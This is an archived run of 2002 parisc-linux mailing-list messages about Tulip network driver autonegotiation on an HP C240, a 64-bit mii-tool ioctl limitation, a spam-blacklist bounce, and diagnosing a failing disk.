X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16903

Leif Harcke wrote:
> Just got Debian 3.0 (woody) booted on a C240.  When the Tulip driver is
> initialized by the kernel, it fails to advertise the 100baseTx media
> capability of the DS21143 chip.  I think this is a kernel issue, not a
> Debian or Tulip issue.

Is the tulip comminucating on the wire at all?  (Sounds like it is)

> I think the way Tulip is called by the kernel somehow causes only 10baseT
> to be advertised.  It's easy enough to correct after the fact with a
> simple "mii-tool -A" command, but it would be nicer if the media
> advertising was properly set by the kernel at boot time.  See output of
> uname, dmesg, and mii-tool below.

It's possible this is a problem/interaction with your switch/hub.

> A thousand pardons if this is the wrong list for this bug.  I'll re-post
> to the debian-hppa or the tulip list if people think those are the proper
> places.

It does sound like a kernel problem and this is a good place to start.

> sar2:~# uname -a
> Linux sar2 2.4.18-32 #1 Sat Mar 30 18:26:22 MST 2002 parisc unknown

I committed a tulip "phy reset" issue fix in later kernels that I don't
think is part of the 2.4.18 Debian 3.0 kernel.

> 
> sar2:~# dmesg | grep ulip
> Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
> eth0: Digital DS21143 Tulip rev 65 at 0xff00, 00:10:83:05:73:95, IRQ 96.
> 
> sar2:~# mii-tool -v
> eth0: negotiated 10baseT-FD, link ok
>   product info: Level One LXT970/971 rev 1
>   basic mode:   autonegotiation enabled
>   basic status: autonegotiation complete, link ok
>   capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
>   advertising:  10baseT-FD 10baseT-HD
>   link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

On my a500 (64-bit) I get:
gsyprf11:/usr/src/linux# mii-tool -v eth0
SIOCGMIIPHY on 'eth0' failed: Invalid argument

Looks like we have some work to do for 64-bit.

B180 (32-bit) is much happier:
debian:~# mii-tool -v eth0
eth0: no autonegotiation, 100baseTx-FD, link ok
  product info: Level One LXT970/971 rev 0
  basic mode:   autonegotiation enabled
  basic status: autonegotiation complete, link ok
  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
debian:~# uname -r
2.4.19-pa24


> sar2:~# mii-tool -A 100baseTx-FD,100baseTx-HD,10baseT-FD,10baseT-HD
> restarting autonegotiation...
> 
> sar2:~# mii-tool -v
> eth0: negotiated 100baseTx-FD, link ok
>   product info: Level One LXT970/971 rev 1
>   basic mode:   autonegotiation enabled
>   basic status: autonegotiation complete, link ok
>   capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
>   advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
>   link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

This really sounds like a tulip driver/switch interaction problem.

grant


From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip driver fails to advertise 100baseTx media capability
Date: Fri, 22 Nov 2002 22:45:37 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20021122224537.D29028@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.44.0211221116130.28782-100000@chirp.Stanford.EDU> <lharcke@Stanford.EDU> <20021122220937.29082482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621960 17490 80.91.229.3 (22 Nov 2014 02:06:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:00 +0000 (UTC)
Cc: Leif Harcke <lharcke@Stanford.EDU>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 15:45:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8465A482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 15:45:42 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18FMYL-0005wF-00; Fri, 22 Nov 2002 22:45:37 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021122220937.29082482B@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Fri, Nov 22, 2002 at 03:09:37PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16904

On Fri, Nov 22, 2002 at 03:09:37PM -0700, Grant Grundler wrote:
> On my a500 (64-bit) I get:
> gsyprf11:/usr/src/linux# mii-tool -v eth0
> SIOCGMIIPHY on 'eth0' failed: Invalid argument
> 
> Looks like we have some work to do for 64-bit.

SIOCGMIIPHY is unsupportable through ioctl32 -- the ioctl number is not
unique so we can't translate the arguments.  ethtool doesn't suffer from
this problem.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] spam ?
Date: 22 Nov 2002 17:33:45 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1038004425.442.14.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621961 17495 80.91.229.3 (22 Nov 2014 02:06:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 16:09:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 230E0482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 16:09:55 -0700 (MST)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id gAMMXk34021610
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 17:33:46 -0500
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16905

after i posted a question to the list i got this in return .....



>Subject: 	Warning - we have discarded your message as spam!
>Date: 	22 Nov 2002 23:03:14 +0000

>Our email system has investigated the origin and mail path of your
>message and discarded it as spam. It has not reached it's recipient.

>The system uses internet spam blacklist servers and one of your emails'
>IP path addresses was found on list ORDB. If you want to know more
>about this list, please check http://www.ordb.org/faq/why_rejected.

>Your message was sent with this subject: [parisc-linux] Disk problems 

>You may need to reconfigure your mail server and get your systems
>delisted from ORDB or use another email account to reach the recipient
>you sent the email to in the first place.


btw, the URL is a dead end.

can anybody tell me why i've been barred ?


James S






From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spam ?
Date: Fri, 22 Nov 2002 16:35:16 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20021122233516.D22FD482B@dsl2.external.hp.com>
References: <1038004425.442.14.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621961 17502 80.91.229.3 (22 Nov 2014 02:06:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Smith <james@compusmithllc.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 16:35:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D22FD482B; Fri, 22 Nov 2002 16:35:16 -0700 (MST)
In-Reply-To: Message from James Smith <james@compusmithllc.com> 
   of "22 Nov 2002 17:33:45 EST." <1038004425.442.14.camel@seventy> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16906

James Smith wrote:
> btw, the URL is a dead end.

try http://www.ordb.org/faq/#why_rejected

> can anybody tell me why i've been barred ?

FAQ above does explain - I haven't read it all.
Maybe you can tell us after you've read it.

grant


From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spam ?
Date: Fri, 22 Nov 2002 19:18:23 -0500 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <200211230018.gAN0INM1007883@hiauly1.hia.nrc.ca>
References: <20021122233516.D22FD482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621961 17532 80.91.229.3 (22 Nov 2014 02:06:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:01 +0000 (UTC)
Cc: james@compusmithllc.com, parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 17:18:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31E77482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 17:18:31 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAN0IOot007884;
	Fri, 22 Nov 2002 19:18:24 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAN0INM1007883;
	Fri, 22 Nov 2002 19:18:23 -0500 (EST)
In-Reply-To: <20021122233516.D22FD482B@dsl2.external.hp.com> from "Grant Grundler" at Nov 22, 2002 04:35:16 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16907

> > can anybody tell me why i've been barred ?

Don't bother.  The message is spam.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Fri, 22 Nov 2002 17:52:34 -0800 (PST)
Lines: 58
Approved: news@gmane.org
Message-ID: <20021123015234.15604.qmail@web12501.mail.yahoo.com>
References: <1038000560.444.9.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-296138104-1038016354=:15527"
X-Trace: ger.gmane.org 1416621962 17539 80.91.229.3 (22 Nov 2014 02:06:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:02 +0000 (UTC)
To: James Smith <james@compusmithllc.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 18:52:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 5ED64482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 18:52:42 -0700 (MST)
Original-Received: from [12.24.253.152] by web12501.mail.yahoo.com via HTTP; Fri, 22 Nov 2002 17:52:34 PST
In-Reply-To: <1038000560.444.9.camel@seventy>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16908

--0-296138104-1038016354=:15527
Content-Type: text/plain; charset=us-ascii


Well quit putting them in those darn macs....just kidding.  Who makes the disk?  IBM has certain tools like their drive fitness tests that has saved me a few times.  Seagate and others probably have similar tools.  Check their support sites and it may just be a matter of the wrong block size written by your mac.  IBM drives are especially notorious for having weird block sizes and such.
derek
 James Smith <james@compusmithllc.com> wrote:I just got a pile of 712/60's - $80 for 10 of em :)


i've set one up & now i'm going through the disks one at a time &
cloning them as its quicker than going through the install each time


i've hit one disk that gives me this whenever i try to fdisk it 


sixty:~# fdisk /dev/sdb

Unable to read /dev/sdb


when i tried to zero the disk, i got this....

sixty:~# dd if=/dev/zero of=/dev/sdb count=1 bs=512 
dd: writing `/dev/sdb': Input/output error
1+0 records in
0+0 records out

the console sees the disk when i use search 

does this indicate a dead disk?

the disk was ok until i put it into a mac......

James S



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-296138104-1038016354=:15527
Content-Type: text/html; charset=us-ascii

<P>Well quit putting them in those darn macs....just kidding.&nbsp; Who makes the disk?&nbsp; IBM has certain tools like their drive fitness tests that has saved me a few times.&nbsp; Seagate and others probably have similar tools.&nbsp; Check their support sites and it may just be a matter of the wrong block size written by your mac.&nbsp; IBM drives are especially notorious for having weird block sizes and such.
<P>derek
<P>&nbsp;<B><I>James Smith &lt;james@compusmithllc.com&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">I just got a pile of 712/60's - $80 for 10 of em :)<BR><BR><BR>i've set one up &amp; now i'm going through the disks one at a time &amp;<BR>cloning them as its quicker than going through the install each time<BR><BR><BR>i've hit one disk that gives me this whenever i try to fdisk it <BR><BR><BR>sixty:~# fdisk /dev/sdb<BR><BR>Unable to read /dev/sdb<BR><BR><BR>when i tried to zero the disk, i got this....<BR><BR>sixty:~# dd if=/dev/zero of=/dev/sdb count=1 bs=512 <BR>dd: writing `/dev/sdb': Input/output error<BR>1+0 records in<BR>0+0 records out<BR><BR>the console sees the disk when i use search <BR><BR>does this indicate a dead disk?<BR><BR>the disk was ok until i put it into a mac......<BR><BR>James S<
 BR><BR><BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-296138104-1038016354=:15527--


From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Leif Harcke <lharcke@Stanford.EDU>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip driver fails to advertise 100baseTx media
 capability
Date: Fri, 22 Nov 2002 19:16:23 -0800 (PST)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211221747260.29185-100000@chirp.Stanford.EDU>
References: <20021122220937.29082482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621962 17546 80.91.229.3 (22 Nov 2014 02:06:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 20:16:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from chirp.Stanford.EDU (chirp.Stanford.EDU [171.64.90.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42EC9482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 20:16:36 -0700 (MST)
Original-Received: (from lharcke@localhost)
	by chirp.Stanford.EDU (8.11.6/8.11.6) id gAN3GV529481;
	Fri, 22 Nov 2002 19:16:31 -0800
In-Reply-To: <20021122220937.29082482B@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16909

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Fri, 22 Nov 2002, Grant Grundler wrote:
> Is the tulip comminucating on the wire at all?  (Sounds like it is)

Sure, at 10 Mbps after boot, and at 100 Mbps full duplex once I use
mii-tool to corretly set the autonegotiation advertising register.

> It's possible this is a problem/interaction with your switch/hub.

I don't think this is a possibility.  The kernel/Tulip have to decide what
to advertise on the link long before autonegotiation is attempted, right?
The switch has absolutely no effect on what the kernel/Tulip decide to
advertise prior to the start of negotiation.

> >sar2:~# dmesg | grep ulip
> >Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
> >tulip0: no phy info, aborting mtable build
> >tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
                                                       ^^^^^^^^^^^^^^^^
This is the smoking gun.  According to the chart at
  http://www.scyld.com/diag/mii-status.html#anar
the number 0061 (it is base 16 despite the lack of 0x) means the
kernel/Tulip have decided to only advertise the 10mbps capabilities of the
chipset prior to when negotiaton with the switch begins.  From reading
kernel source it appears that the Tulip driver sets some default state if
it can't build the mtable.  Perhaps this is where the error comes from.

> I committed a tulip "phy reset" issue fix in later kernels that I don't
> think is part of the 2.4.18 Debian 3.0 kernel.

Thanks much,

- --
Leif Harcke
lharcke@stanford.edu

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE93vMOFW+DB6BX7gwRAh1uAJ4yoZ9ITUm0Qrs8hOVP1FW2UqVNbQCglXQ8
zGu046IWmnJzSp4Jvr08HlM=
=JMip
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip driver fails to advertise 100baseTx media
 capability
Date: Sat, 23 Nov 2002 04:44:50 +0000 (GMT)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211230437370.13058-100000@sal.ucc.ie>
References: <Pine.LNX.4.44.0211221116130.28782-100000@chirp.Stanford.EDU>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621962 17559 80.91.229.3 (22 Nov 2014 02:06:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Leif Harcke <lharcke@Stanford.EDU>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 21:45:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A22F482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 21:45:00 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id EAA20244;
	Sat, 23 Nov 2002 04:45:17 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.44.0211221116130.28782-100000@chirp.Stanford.EDU>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16910

On Fri, 22 Nov 2002, Leif Harcke wrote:

> Just got Debian 3.0 (woody) booted on a C240.  When the Tulip driver is
> initialized by the kernel, it fails to advertise the 100baseTx media
> capability of the DS21143 chip.  I think this is a kernel issue, not a
> Debian or Tulip issue.

the same for me.
It happens one out of 30 time that I get a 100mbit connection.
Usually I just get 10mbit full duplex (this machine is connected to a
10/100 Switch (not Hub), and just other 100Mbit capable network devices
are attached to it.

> Setting the PDC/firmware (v. 6.3, latest for the C240) to force the
> 100/Full duplex rate at boot time doesn't fix the problem, nor does
> issuing an "ether=0,0,[11|14],eth0" to the kernel from the PALO kernel
> parameters line.

The same for me

> I think the way Tulip is called by the kernel somehow causes only 10baseT
> to be advertised.  It's easy enough to correct after the fact with a
> simple "mii-tool -A" command, but it would be nicer if the media
> advertising was properly set by the kernel at boot time.  See output of
> uname, dmesg, and mii-tool below.
>
> A thousand pardons if this is the wrong list for this bug.  I'll re-post
> to the debian-hppa or the tulip list if people think those are the proper
> places.

I think it more a hardware related issue. The network card in the C240
is VERY picky about 100mbit negotiation.

Maybe you are able to force to switch it to 100mbit via software,
but I'm not sure.

See also http://www.unixnerd.demon.co.uk/hp_unix.html , the FAQ at
the bottom at the page.

greetings max



From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spam ?
Date: Sat, 23 Nov 2002 04:55:20 +0000 (GMT)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211230450150.13058-100000@sal.ucc.ie>
References: <200211230018.gAN0INM1007883@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621963 17567 80.91.229.3 (22 Nov 2014 02:06:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
